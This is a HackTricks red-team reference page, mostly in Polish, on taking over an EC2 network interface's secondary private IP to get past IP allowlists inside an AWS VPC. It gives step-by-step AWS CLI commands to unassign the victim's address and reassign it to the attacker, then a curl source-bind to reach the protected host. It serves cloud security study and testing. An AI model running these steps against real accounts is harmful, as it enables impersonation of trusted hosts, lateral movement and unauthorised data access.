AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

Wykorzystaj ec2:UnassignPrivateIpAddresses i ec2:AssignPrivateIpAddresses, aby ukraść sekundarny prywatny adres IP ENI ofiary i przenieść go na ENI atakującego w tej samej podsieci/AZ. Wiele wewnętrznych usług i security groups kontroluje dostęp po konkretnych prywatnych adresach IP. Przenosząc ten adres sekundarny, atakujący podszywa się pod zaufany host na warstwie L3 i może dotrzeć do allowlisted services.

Prereqs:

  • Uprawnienia: ec2:DescribeNetworkInterfaces, ec2:UnassignPrivateIpAddresses na ARN ENI ofiary, oraz ec2:AssignPrivateIpAddresses na ARN ENI atakującego.
  • Oba ENI muszą być w tej samej subnet/AZ. Docelowy adres musi być adresem sekundarnym (primary nie można odassignować).

Variables:

  • REGION=us-east-1
  • VICTIM_ENI=
  • ATTACKER_ENI=
  • PROTECTED_SG= # SG on a target service that allows only $HIJACK_IP
  • PROTECTED_HOST=

Steps:

  1. Wybierz sekundarny IP z ENI ofiary
aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION   --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP
export HIJACK_IP=$(cat HIJACK_IP)
  1. Upewnij się, że chroniony host akceptuje tylko ten adres IP (idempotentny). Jeśli zamiast tego używasz reguł SG-to-SG, pomiń.
aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80   --cidr "$HIJACK_IP/32" --region $REGION || true
  1. Stan bazowy: z instancji atakującej żądanie do PROTECTED_HOST powinno zakończyć się niepowodzeniem bez sfałszowanego źródła (np. przez SSM/SSH)
curl -sS --max-time 3 http://$PROTECTED_HOST || true
  1. Usuń przypisanie drugiego adresu IP z ENI ofiary
aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI   --private-ip-addresses $HIJACK_IP --region $REGION
  1. Przypisz ten sam adres IP do attacker ENI (w AWS CLI v1 dodaj --allow-reassignment)
aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI   --private-ip-addresses $HIJACK_IP --region $REGION
  1. Zweryfikuj przeniesienie własności
aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION   --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP

Z instancji atakującej wykonaj source-bind na przejęte IP, aby dotrzeć do chronionego hosta (upewnij się, że IP jest skonfigurowane w systemie operacyjnym; jeśli nie, dodaj je za pomocą ip addr add $HIJACK_IP/<mask> dev eth0)

curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out

Wpływ

  • Obejście IP allowlists i podszywanie się pod zaufane hosty wewnątrz VPC przez przenoszenie drugorzędnych prywatnych adresów IP między ENIs w tym samym subnet/AZ.
  • Dostęp do wewnętrznych usług, które ograniczają dostęp na podstawie konkretnych source IPs, umożliwiając lateral movement i dostęp do danych.

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks